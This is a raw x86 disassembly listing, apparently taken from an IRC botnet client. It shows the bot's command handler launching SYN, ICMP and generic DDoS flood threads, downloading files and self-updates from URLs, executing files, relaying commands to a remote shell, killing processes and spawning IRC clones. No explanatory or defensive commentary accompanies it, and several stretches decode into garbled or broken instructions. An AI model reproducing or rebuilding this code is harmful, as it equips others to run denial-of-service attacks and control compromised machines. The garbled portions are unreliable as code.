ptr [ebp+20h] mov [ebp-56Ch], eax mov eax, [ebp-8] mov [ebp-570h], eax push edi lea eax, [ebp-2C8h] push offset aDownloadDownlo ; "[DOWNLOAD]: Downloading URL: %s to: %s."... push eax call sub_41D260 push esi lea eax, [ebp-2C8h] push 1Dh push eax call sub_408D3F add esp, 28h mov [ebp-588h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-80Ch] push ebx push eax push offset word_416486 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-588h] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_406252 loc_40623C: ; CODE XREF: seg000:00406250j cmp [ebp-568h], ebx jnz loc_4058BD push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_40623C ; --------------------------------------------------------------------------- loc_406252: ; CODE XREF: seg000:0040623Aj call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aDownloadFailed ; "[DOWNLOAD]: Failed to start transfer th"... jmp loc_406455 ; --------------------------------------------------------------------------- loc_406263: ; CODE XREF: seg000:0040506Fj ; seg000:00405086j push 7Fh lea eax, [ebp-774h] pop esi push esi push edi push eax call sub_41D800 push esi lea eax, [ebp-6F4h] push dword ptr [ebp+20h] push eax call sub_41D800 push esi lea eax, [ebp-674h] push dword ptr [ebp+8] push eax call sub_41D800 push esi lea eax, [ebp-5F4h] push dword ptr [ebp-8Ch] push eax call sub_41D800 mov eax, [ebp-8] push dword ptr [ebp+8] mov esi, [ebp-4] mov [ebp-56Ch], eax mov eax, [ebp+0Ch] push dword ptr [ebp+20h] mov [ebp-778h], eax lea eax, [ebp-2C8h] push edi push offset aSynFloodingSSF ; "[SYN]: Flooding: (%s:%s) for %s seconds"... push eax mov [ebp-570h], esi call sub_41D260 add esp, 44h lea eax, [ebp-2C8h] push ebx push 0Eh push eax call sub_408D3F add esp, 0Ch mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-778h] push ebx push eax push offset byte_4147B7 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_406336 loc_406324: ; CODE XREF: seg000:00406334j cmp [ebp-568h], ebx jnz short loc_406351 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_406324 ; --------------------------------------------------------------------------- loc_406336: ; CODE XREF: seg000:00406322j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax lea eax, [ebp-2C8h] push offset aSynFailedToSta ; "[SYN]: Failed to start flood thread, er"... push eax call sub_41D260 add esp, 0Ch loc_406351: ; CODE XREF: seg000:0040632Aj cmp [ebp-8], ebx jnz loc_40549F push ebx push esi jmp loc_405487 ; --------------------------------------------------------------------------- loc_406361: ; CODE XREF: seg000:0040502Aj ; seg000:00405041j ... push 7Fh lea eax, [ebp-7F0h] pop esi push esi push edi push eax call sub_41D800 push esi lea eax, [ebp-770h] push dword ptr [ebp+20h] push eax call sub_41D800 push esi lea eax, [ebp-6F0h] push dword ptr [ebp+8] push eax call sub_41D800 push esi lea eax, [ebp-670h] push dword ptr [ebp-8Ch] push eax call sub_41D800 push 20h lea eax, [ebp-5F0h] push dword ptr [ebp+18h] push eax call sub_41D800 mov eax, [ebp-4] push dword ptr [ebp+8] mov esi, [ebp+0Ch] mov [ebp-570h], eax mov eax, [ebp-8] push dword ptr [ebp+20h] mov [ebp-56Ch], eax lea eax, [ebp-2C8h] push edi push offset aDdosFloodingSS ; "[DDoS]: Flooding: (%s:%s) for %s second"... push eax mov [ebp-7F8h], esi call sub_41D260 add esp, 50h lea eax, [ebp-2C8h] push ebx push 0Dh push eax call sub_408D3F add esp, 0Ch mov [ebp-7F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-7F8h] push ebx push eax push offset dword_413A44 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-7F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_406449 loc_406433: ; CODE XREF: seg000:00406447j cmp [ebp-568h], ebx jnz loc_4058BD push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_406433 ; --------------------------------------------------------------------------- loc_406449: ; CODE XREF: seg000:00406431j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aDdosFailedToSt ; "[DDoS]: Failed to start flood thread, e"... loc_406455: ; CODE XREF: seg000:0040589Fj ; seg000:004059EAj ... lea eax, [ebp-2C8h] push eax call sub_41D260 jmp loc_4058BA ; --------------------------------------------------------------------------- loc_406466: ; CODE XREF: seg000:00404FFCj ; seg000:00405013j push 7Fh lea eax, [ebp-444h] push edi push eax call sub_41D800 push dword ptr [ebp+20h] call sub_41D560 push 3Fh mov [ebp-2F4h], eax push dword ptr [ebp+8] lea eax, [ebp-3C4h] push eax call sub_41D800 mov esi, [ebp+esi-84h] add esp, 1Ch cmp esi, ebx jz short loc_4064B4 push 3Fh lea eax, [ebp-384h] push esi push eax call sub_41D800 add esp, 0Ch loc_4064B4: ; CODE XREF: seg000:004064A0j lea eax, [ebp-3C4h] mov dword ptr [ebp-2F0h], 1 push eax lea eax, [ebp-444h] push dword ptr [ebp-2F4h] push eax lea eax, [ebp-2C8h] push offset aClonesCreatedO ; "[CLONES]: Created on %s:%d, in channel "... push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 1Fh push eax call sub_408D3F add esp, 20h mov [ebp-2ECh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-448h] push ebx push eax push offset sub_402D46 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-2ECh] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_406540 loc_40652A: ; CODE XREF: seg000:0040653Ej cmp [ebp-2E8h], ebx jnz loc_4053E0 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_40652A ; --------------------------------------------------------------------------- loc_406540: ; CODE XREF: seg000:00406528j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aClonesFailedTo ; "[CLONES]: Failed to start clone thread,"... jmp loc_4053D1 ; --------------------------------------------------------------------------- loc_406551: ; CODE XREF: seg000:00404FBCj ; seg000:00404FD3j push dword ptr [ebp+20h] call sub_41D560 cmp eax, ebx pop ecx mov [ebp-578h], eax jle loc_406642 mov esi, 80h push edi lea eax, [ebp-700h] push esi push eax call sub_41D360 xor eax, eax cmp [ebp-9A2h], bl push dword ptr [ebp-8Ch] setnz al mov [ebp-574h], eax mov eax, [ebp+0Ch] mov [ebp-704h], eax lea eax, [ebp-600h] push esi push eax call sub_41D360 mov eax, [ebp-4] push dword ptr [ebp+20h] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax push edi push offset aIcmpFloodingSF ; "[ICMP]: Flooding: (%s) for %s seconds." lea eax, [ebp-2C8h] push 200h push eax call sub_41D360 push ebx lea eax, [ebp-2C8h] push 15h push eax call sub_408D3F add esp, 38h mov [ebp-580h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-704h] push ebx push eax push offset byte_413E8B push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-580h] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_406631 loc_40661B: ; CODE XREF: seg000:0040662Fj cmp [ebp-568h], ebx jnz loc_40547E push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_40661B ; --------------------------------------------------------------------------- loc_406631: ; CODE XREF: seg000:00406619j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aIcmpFailedToSt ; "[ICMP]: Failed to start flood thread, e"... jmp loc_40546F ; --------------------------------------------------------------------------- loc_406642: ; CODE XREF: seg000:00406562j push offset aIcmpInvalidFlo ; "[ICMP]: Invalid flood time must be grea"... jmp loc_407C35 ; --------------------------------------------------------------------------- loc_40664C: ; CODE XREF: seg000:00404F8Ej ; seg000:00404FA5j push dword ptr [ebp+20h] push edi call near ptr 3D0000h push edi test eax, eax jz short loc_406679 push dword ptr [ebp+20h] lea eax, [ebp-2C8h] push edi push offset aFileRenameSToS ; "[FILE]: Rename: '%s' to: '%s'." push 200h push eax call sub_41D360 add esp, 14h jmp short loc_406698 ; --------------------------------------------------------------------------- loc_406679: ; CODE XREF: seg000:00406658j push offset aFile_1 ; "[FILE]:" call loc_417935 push eax lea eax, [ebp-2C8h] push 200h push eax call sub_41D360 add esp, 10h loc_406698: ; CODE XREF: seg000:00404807j ; seg000:0040482Dj ... cmp [ebp-8], ebx jnz short loc_4066B9 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 14h loc_4066B9: ; CODE XREF: seg000:00404035j ; seg000:0040669Bj ... push 1 pop esi loc_4066BC: ; CODE XREF: seg000:00406916j ; seg000:004070A0j ... lea eax, [ebp-2C8h] push eax call sub_4161A7 pop ecx mov eax, esi jmp loc_40349B ; --------------------------------------------------------------------------- loc_4066D0: ; CODE XREF: seg000:00404F60j ; seg000:00404F77j push 44h lea eax, [ebp-48Ch] pop esi push esi push ebx push eax call sub_41D100 push 1 mov [ebp-48Ch], esi pop esi mov [ebp-45Ch], bx push edi mov [ebp-460h], esi call sub_41D560 add esp, 10h cmp eax, esi jnz short loc_40670D mov word ptr [ebp-45Ch], 5 loc_40670D: ; CODE XREF: seg000:00406702j cmp [ebp-0Ch], ebx jz loc_4053E0 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_41DBE0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_4053E0 lea eax, [ebp-2D8h] push eax lea eax, [ebp-48Ch] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 3D0000h pop esp test eax, eax jnz short loc_406758 push offset aExecCouldnTExe ; "[EXEC]: Couldn't execute file." jmp loc_407156 ; --------------------------------------------------------------------------- loc_406758: ; CODE XREF: seg000:0040674Cj push edi push offset aExecCommandsS ; "[EXEC]: Commands: %s" jmp loc_4053D1 ; --------------------------------------------------------------------------- loc_406763: ; CODE XREF: seg000:00404F32j ; seg000:00404F49j push dword ptr [ebp+20h] push offset aRbg78 ; "rbg78" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4068DF lea eax, [ebp-3E8h] push eax push 104h call near ptr 3D0000h lahf push 0FFh lea eax, [ebp-788h] push edi push eax call sub_41D800 lea eax, [ebp-2E4h] push eax call sub_40871E push eax lea eax, [ebp-3E8h] push eax lea eax, [ebp-688h] push offset aSS_exe ; "%s%s.exe" push eax call sub_41D260 mov eax, [ebp+esi-88h] add esp, 20h cmp eax, ebx mov dword ptr [ebp-584h], 1 mov [ebp-580h], ebx jz short loc_4067F5 push 10h push ebx push eax call sub_41E380 add esp, 0Ch mov [ebp-578h], eax jmp short loc_4067FB ; --------------------------------------------------------------------------- loc_4067F5: ; CODE XREF: seg000:004067DFj mov [ebp-578h], ebx loc_4067FB: ; CODE XREF: seg000:004067F3j mov esi, [ebp+esi-84h] cmp esi, ebx jz short loc_406815 push esi call sub_41D560 pop ecx mov [ebp-57Ch], eax jmp short loc_40681B ; --------------------------------------------------------------------------- loc_406815: ; CODE XREF: seg000:00406804j mov [ebp-57Ch], ebx loc_40681B: ; CODE XREF: seg000:00406813j movzx eax, byte ptr [ebp-9AFh] mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-8Ch] mov [ebp-574h], eax lea eax, [ebp-808h] mov [ebp-80Ch], esi push eax call sub_41D800 mov eax, [ebp-4] push edi mov [ebp-56Ch], eax mov eax, [ebp-8] mov [ebp-570h], eax lea eax, [ebp-2C8h] push offset aUpdateDownload ; "[UPDATE]: Downloading update from: %s." push eax call sub_41D260 push esi lea eax, [ebp-2C8h] push 1Eh push eax call sub_408D3F add esp, 24h mov [ebp-588h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-80Ch] push ebx push eax push offset word_416486 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-588h] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_4068C2 loc_4068B0: ; CODE XREF: seg000:004068C0j cmp [ebp-568h], ebx jnz short loc_4068F2 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_4068B0 ; --------------------------------------------------------------------------- loc_4068C2: ; CODE XREF: seg000:004068AEj call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aUpdateFailedTo ; "[UPDATE]: Failed to start download thre"... loc_4068CE: ; CODE XREF: seg000:00406F8Fj ; seg000:004070E4j ... lea eax, [ebp-2C8h] push eax call sub_41D260 loc_4068DA: ; CODE XREF: seg000:00407BBBj add esp, 0Ch jmp short loc_4068F2 ; --------------------------------------------------------------------------- loc_4068DF: ; CODE XREF: seg000:00406774j push offset aUpdateBotIdMus ; "[UPDATE]: Bot ID must be different than"... loc_4068E4: ; CODE XREF: seg000:004049F9j ; seg000:00404A7Dj ... lea eax, [ebp-2C8h] push eax call sub_41D260 pop ecx pop ecx loc_4068F2: ; CODE XREF: seg000:00404A01j ; seg000:00404A5Bj ... cmp [ebp-8], ebx jnz short loc_406913 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 14h loc_406913: ; CODE XREF: seg000:004068F5j ; seg000:00406F84j ... mov esi, [ebp+2Ch] jmp loc_4066BC ; --------------------------------------------------------------------------- loc_40691B: ; CODE XREF: seg000:00404F04j ; seg000:00404F1Bj push dword ptr [ebp-90h] push offset a332_0 ; "332" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_403498 cmp [ebp-0Ch], ebx jz loc_403498 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_41DBE0 push eax lea eax, [ebp-2C8h] push dword ptr [ebp-8Ch] push dword ptr [ebp-90h] push dword ptr [ebp-94h] push offset aSSSS ; "%s %s %s :%s" push eax call sub_41D260 lea eax, [ebp-2C8h] push 1FFh push eax push dword ptr [ebp+8] call sub_41D800 push edi call sub_41D560 add esp, 30h test eax, eax jle short loc_4069A2 push edi call sub_41D560 imul eax, 3E8h pop ecx push eax call ds:dword_4F12F4 ; Sleep loc_4069A2: ; CODE XREF: seg000:0040698Cj push offset aMainDelay_ ; "[MAIN]: Delay." call sub_4161A7 mov eax, [ebp+2Ch] pop ecx inc eax jmp loc_40349B ; --------------------------------------------------------------------------- loc_4069B6: ; CODE XREF: seg000:00404ED6j ; seg000:00404EEDj push dword ptr [ebp-90h] push offset a332_1 ; "332" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_403498 cmp [ebp-0Ch], ebx jz loc_40845F push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_41DBE0 mov esi, eax mov eax, [ebp+20h] inc eax push offset aRepeat_0 ; "repeat" push eax call sub_41D900 add esp, 10h test eax, eax push esi jz short loc_406A72 push dword ptr [ebp-8Ch] lea eax, [ebp-2C8h] push dword ptr [ebp-90h] push dword ptr [ebp-94h] push offset aSSSS_0 ; "%s %s %s :%s" push eax call sub_41D260 lea eax, [ebp-2C8h] push 1FFh push eax push dword ptr [ebp+8] call sub_41D800 push esi lea eax, [ebp-2C8h] push offset aMainRepeatS ; "[MAIN]: Repeat: %s" push eax call sub_41D260 lea eax, [ebp-2C8h] push eax call sub_4161A7 push edi call sub_41D560 add esp, 38h test eax, eax jle loc_40845F push edi call sub_41D560 add eax, [ebp+2Ch] pop ecx jmp loc_40349B ; --------------------------------------------------------------------------- loc_406A72: ; CODE XREF: seg000:004069FBj push offset aMainRepeatNotA ; "[MAIN]: Repeat not allowed in command l"... jmp loc_4053D1 ; --------------------------------------------------------------------------- loc_406A7C: ; CODE XREF: seg000:00404EA8j ; seg000:00404EBFj push dword ptr [ebp+20h] lea eax, [ebp-2C8h] push offset aPartS ; "PART %s" push eax call sub_41D260 push edi call sub_41D560 add esp, 10h test eax, eax jle loc_40845F push edi call sub_41D560 cmp eax, 400h pop ecx jge loc_40845F lea eax, [ebp-2C8h] push eax push offset aS_12 ; "%s\r\n" loc_406ABF: ; CODE XREF: seg000:00406B29j ; seg000:0040721Fj push edi call sub_41D560 imul eax, 234h pop ecx push ds:dword_4523C4[eax] call sub_401417 loc_406AD7: ; CODE XREF: seg000:004081EFj add esp, 0Ch jmp loc_40845F ; --------------------------------------------------------------------------- loc_406ADF: ; CODE XREF: seg000:00404E7Aj ; seg000:00404E91j push dword ptr [ebp+esi-88h] lea eax, [ebp-2C8h] push dword ptr [ebp+20h] push offset aJoinSS_1 ; "JOIN %s %s" push eax call sub_41D260 push edi call sub_41D560 add esp, 14h test eax, eax jle loc_40845F push edi call sub_41D560 cmp eax, 400h pop ecx jge loc_40845F lea eax, [ebp-2C8h] push eax push offset aS_13 ; "%s\r\n" jmp short loc_406ABF ; --------------------------------------------------------------------------- loc_406B2B: ; CODE XREF: seg000:00404E4Cj ; seg000:00404E63j push dword ptr [ebp+20h] lea eax, [ebp-2C8h] push offset aNickS ; "NICK %s" push eax call sub_41D260 push edi call sub_41D560 add esp, 10h test eax, eax jle loc_40845F push edi call sub_41D560 cmp eax, 400h pop ecx jge loc_40845F lea eax, [ebp-2C8h] push eax push offset aS_14 ; "%s\r\n" push edi call sub_41D560 imul eax, 234h pop ecx push ds:dword_4523C4[eax] call sub_401417 push dword ptr [ebp+20h] push edi push offset aCloneNickSS ; "[CLONE]: Nick (%s): %s" loc_406B8F: ; CODE XREF: seg000:00406C19j ; seg000:00406C84j ... call sub_41621B loc_406B94: ; CODE XREF: seg000:00407EBCj add esp, 18h jmp loc_40845F ; --------------------------------------------------------------------------- loc_406B9C: ; CODE XREF: seg000:00404E1Ej ; seg000:00404E35j cmp [ebp-0Ch], ebx jz loc_40845F push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_41DBE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_406BCD push esi lea eax, [ebp-2C8h] push offset aModeS ; "MODE %s" push eax call sub_41D260 add esp, 0Ch loc_406BCD: ; CODE XREF: seg000:00406BB6j push edi call sub_41D560 test eax, eax pop ecx jle loc_40845F push edi call sub_41D560 cmp eax, 400h pop ecx jge loc_40845F lea eax, [ebp-2C8h] push eax push offset aS_15 ; "%s\r\n" push edi call sub_41D560 imul eax, 234h pop ecx push ds:dword_4523C4[eax] call sub_401417 push esi push edi push offset aCloneModeSS ; "[CLONE]: Mode (%s): %s" jmp loc_406B8F ; --------------------------------------------------------------------------- loc_406C1E: ; CODE XREF: seg000:00404DF0j ; seg000:00404E07j cmp [ebp-0Ch], ebx jz loc_40845F push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_41DBE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40845F push edi call sub_41D560 test eax, eax pop ecx jle loc_40845F push edi call sub_41D560 cmp eax, 400h pop ecx jge loc_40845F push esi push offset aS_16 ; "%s\r\n" push edi call sub_41D560 imul eax, 234h pop ecx push ds:dword_4523C4[eax] call sub_401417 push esi push edi push offset aCloneRawSS ; "[CLONE]: Raw (%s): %s" jmp loc_406B8F ; --------------------------------------------------------------------------- loc_406C89: ; CODE XREF: seg000:00404DC2j ; seg000:00404DD9j cmp [ebp-0Ch], ebx jz loc_40845F push edi push dword ptr [ebp-0Ch] call sub_41DBE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40845F push esi push offset aModeS_0 ; "MODE %s\r\n" push dword ptr [ebp+0Ch] call sub_401417 push esi push offset aMainModeChange ; "[MAIN]: Mode change: %s" loc_406CBB: ; CODE XREF: seg000:004073C4j ; seg000:004073DDj ... call sub_41621B loc_406CC0: ; CODE XREF: seg000:00406D29j add esp, 14h jmp loc_40845F ; --------------------------------------------------------------------------- loc_406CC8: ; CODE XREF: seg000:00404D94j ; seg000:00404DABj push dword ptr [ebp-90h] push offset a332_2 ; "332" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_403498 push dword ptr [ebp+20h] push offset aPartS_0 ; "PART %s\r\n" push dword ptr [ebp+0Ch] call sub_401417 push edi call sub_41D560 imul eax, 3E8h add esp, 10h push eax call ds:dword_4F12F4 ; Sleep push dword ptr [ebp+esi-88h] push dword ptr [ebp+20h] push offset aJoinSS_2 ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_401417 push offset aMainCycle_ ; "[MAIN]: Cycle." call sub_4161A7 jmp short loc_406CC0 ; --------------------------------------------------------------------------- loc_406D2B: ; CODE XREF: seg000:00404D66j ; seg000:00404D7Dj cmp [ebp-0Ch], ebx jz loc_40845F push edi call sub_41AC70 push dword ptr [ebp+18h] mov esi, eax call sub_41AC70 add eax, [ebp-0Ch] push dword ptr [ebp+20h] lea eax, [eax+esi+2] push eax call sub_41DBE0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_40845F push esi lea eax, [ebp-2C8h] push offset dword_43EF28 push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push ebx push eax push edi push dword ptr [ebp+0Ch] call sub_40145D push esi push edi push offset aMainActionSS_ ; "[MAIN]: Action: %s: %s." call sub_41621B add esp, 2Ch jmp loc_40845F ; --------------------------------------------------------------------------- loc_406D99: ; CODE XREF: seg000:00404D38j ; seg000:00404D4Fj cmp [ebp-0Ch], ebx jz loc_40845F push edi call sub_41AC70 push dword ptr [ebp+18h] mov esi, eax call sub_41AC70 add eax, [ebp-0Ch] push dword ptr [ebp+20h] lea eax, [eax+esi+2] push eax call sub_41DBE0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_40845F push ebx push ebx push esi push edi push dword ptr [ebp+0Ch] call sub_40145D push esi push edi push offset aMainPrivmsgSS_ ; "[MAIN]: Privmsg: %s: %s." call sub_41621B jmp loc_405A3A ; --------------------------------------------------------------------------- loc_406DEC: ; CODE XREF: seg000:00404D0Aj ; seg000:00404D21j cmp [ebp-0Ch], ebx jz loc_403498 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_41DBE0 pop ecx cmp eax, ebx pop ecx jz loc_403498 push eax push edi call sub_4160AF push edi lea eax, [ebp-2C8h] push offset aMainAliasAdded ; "[MAIN]: Alias added: %s." push eax call sub_41D260 add esp, 14h jmp loc_40547E ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: seg000:00404CCAj ; seg000:00404CE1j push edi push dword ptr [ebp+24h] call sub_41DBE0 pop ecx test eax, eax pop ecx jz loc_40845F mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_406EC8 push esi push dword ptr [ebp-0Ch] call sub_41DBE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_406EB0 push esi lea eax, [ebp-2C8h] push dword ptr [ebp-8Ch] push dword ptr [ebp-90h] push dword ptr [ebp-94h] push offset aSSSS_1 ; "%s %s %s :%s" push eax call sub_41D260 lea eax, [ebp-2C8h] push 1FFh push eax push dword ptr [ebp+8] call sub_41D800 push esi push edi lea eax, [ebp-2C8h] push offset aMainGethostSCo ; "[MAIN]: Gethost: %s, Command: %s" push eax call sub_41D260 add esp, 34h inc dword ptr [ebp+2Ch] jmp loc_4080D2 ; --------------------------------------------------------------------------- loc_406EB0: ; CODE XREF: seg000:00406E58j lea eax, [ebp-2C8h] push offset aMainUnableToEx ; "[MAIN]: Unable to extract Gethost comma"... push eax call sub_41D260 pop ecx pop ecx jmp loc_4080D2 ; --------------------------------------------------------------------------- loc_406EC8: ; CODE XREF: seg000:00406E47j push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push dword ptr [ebp+24h] push eax call sub_41A698 add esp, 0Ch push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D push edi push offset aMainGethostS_ ; "[MAIN]: Gethost: %s." lea eax, [ebp-2C8h] push 200h push eax call sub_41D360 add esp, 24h jmp loc_4080D2 ; --------------------------------------------------------------------------- loc_406F0F: ; CODE XREF: seg000:00404766j ; seg000:0040477Dj push offset aR_0 ; "r" push edi call sub_41D0E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_406F89 mov ebx, 200h push esi lea eax, [ebp-2C8h] push ebx push eax call sub_41DEE0 add esp, 0Ch loc_406F38: ; CODE XREF: seg000:00406F67j test eax, eax jz short loc_406F69 push 1 lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D push esi lea eax, [ebp-2C8h] push ebx push eax call sub_41DEE0 add esp, 20h jmp short loc_406F38 ; --------------------------------------------------------------------------- loc_406F69: ; CODE XREF: seg000:00406F3Aj push esi call sub_41ACF0 push edi lea eax, [ebp-2C8h] push offset aMainReadFileCo ; "[MAIN]: Read file complete: %s" push eax call sub_41D260 add esp, 10h jmp loc_406913 ; --------------------------------------------------------------------------- loc_406F89: ; CODE XREF: seg000:00406F20j push edi push offset aMainReadFileFa ; "[MAIN]: Read file failed: %s" jmp loc_4068CE ; --------------------------------------------------------------------------- loc_406F94: ; CODE XREF: seg000:00404738j ; seg000:0040474Fj cmp [ebp-0Ch], ebx jz loc_40845F push edi push dword ptr [ebp-0Ch] call sub_41DBE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40845F push offset asc_43EA58 ; "\n" push esi call sub_41E560 push esi call sub_4193EE add esp, 0Ch test eax, eax jnz short loc_406FD4 push offset aCmdErrorSendin ; "[CMD]: Error sending to remote shell." jmp loc_407156 ; --------------------------------------------------------------------------- loc_406FD4: ; CODE XREF: seg000:00406FC8j push esi push offset aCmdCommandsS ; "[CMD]: Commands: %s" jmp loc_4080C3 ; --------------------------------------------------------------------------- loc_406FDF: ; CODE XREF: seg000:0040470Aj ; seg000:00404721j cmp [ebp-0Ch], ebx jz loc_40845F push edi push dword ptr [ebp-0Ch] call sub_41DBE0 pop ecx cmp eax, ebx pop ecx jz loc_40845F push eax call sub_4179FA test eax, eax pop ecx jnz short loc_407010 push offset aMircClientNotO ; "[mIRC]: Client not open." jmp loc_407156 ; --------------------------------------------------------------------------- loc_407010: ; CODE XREF: seg000:00407004j push offset aMircCommandSen ; "[mIRC]: Command sent." jmp loc_407156 ; --------------------------------------------------------------------------- loc_40701A: ; CODE XREF: seg000:004046DCj ; seg000:004046F3j push ebx push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] push edi call loc_410CAB push edi push offset aFileListS ; "[FILE]: List: %s" jmp loc_406B8F ; --------------------------------------------------------------------------- loc_407035: ; CODE XREF: seg000:004046AEj ; seg000:004046C5j push edi call near ptr 3D0000h sub al, 85h sal byte ptr [eax+ecx+57h], 68h int 3 ; Trap to Debugger jmp near ptr 0C2B708Bh ; --------------------------------------------------------------------------- push offset aFile_3 ; "[FILE]:" call loc_417935 push eax lea eax, [ebp-2C8h] push 200h push eax call sub_41D360 add esp, 10h jmp loc_4068F2 ; --------------------------------------------------------------------------- loc_40706C: ; CODE XREF: seg000:00404680j ; seg000:00404697j push edi call sub_41D560 push eax call sub_419367 pop ecx pop ecx push 1 loc_40707C: ; DATA XREF: seg002:00445FC8o ; seg002:00445FDCo ... pop esi cmp eax, esi push edi jnz short loc_407089 push offset aProcProcessKil ; "[PROC]: Process killed ID: %s" jmp short loc_40708E ; --------------------------------------------------------------------------- loc_407089: ; CODE XREF: seg000:00407080j push offset aProcFailedToTe ; "[PROC]: Failed to terminate process ID:"... loc_40708E: ; CODE XREF: seg000:00407087j lea eax, [ebp-2C8h] push eax call sub_41D260 add esp, 0Ch cmp [ebp-8], ebx jnz loc_4066BC push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 14h jmp loc_4066BC ; --------------------------------------------------------------------------- loc_4070C7: ; CODE XREF: seg000:00404652j ; seg000:00404669j push ebx push ebx push edi push dword ptr [ebp-4] push ebx push dword ptr [ebp+0Ch] call sub_419046 add esp, 18h cmp eax, 1 push edi jnz short loc_4070E9 push offset aProcProcessK_0 ; "[PROC]: Process killed: %s" jmp loc_4068CE ; --------------------------------------------------------------------------- loc_4070E9: ; CODE XREF: seg000:004070DDj push offset aProcFailedTo_0 ; "[PROC]: Failed to terminate process: %s"... jmp loc_4068CE ; --------------------------------------------------------------------------- loc_4070F3: ; CODE XREF: seg000:00404624j ; seg000:0040463Bj push edi call ds:dword_451530 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz short loc_407130 push 2 lea eax, [ebp+8] push 4 push eax call ds:dword_4514AC cmp eax, ebx jz short loc_407151 push dword ptr [eax] push edi push offset aDnsLookupSS_ ; "[DNS]: Lookup: %s -> %s." loc_40711C: ; CODE XREF: seg000:0040714Fj lea eax, [ebp-2C8h] push eax call sub_41D260 add esp, 10h jmp loc_4053E0 ; --------------------------------------------------------------------------- loc_407130: ; CODE XREF: seg000:00407100j push edi call ds:dword_451574 cmp eax, ebx jz short loc_407151 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call ds:dword_45157C push eax push edi push offset aDnsLookupSS__0 ; "[DNS]: Lookup: %s -> %s." jmp short loc_40711C ; --------------------------------------------------------------------------- loc_407151: ; CODE XREF: seg000:00407112j ; seg000:00407139j push offset aDnsCouldnTReso ; "[DNS]: Couldn't resolve hostname." loc_407156: ; CODE XREF: seg000:00406753j ; seg000:00406FCFj ... lea eax, [ebp-2C8h] push eax call sub_41D260 pop ecx pop ecx jmp loc_4053E0 ; --------------------------------------------------------------------------- loc_407169: ; CODE XREF: seg000:004045F6j ; seg000:0040460Dj push 7Fh push edi push dword ptr [ebp+1Ch] call sub_41D800 push edi lea eax, [ebp-2C8h] push offset aMainServerChan ; "[MAIN]: Server changed to: '%s'." push eax call sub_41D260 add esp, 18h jmp loc_406698 ; 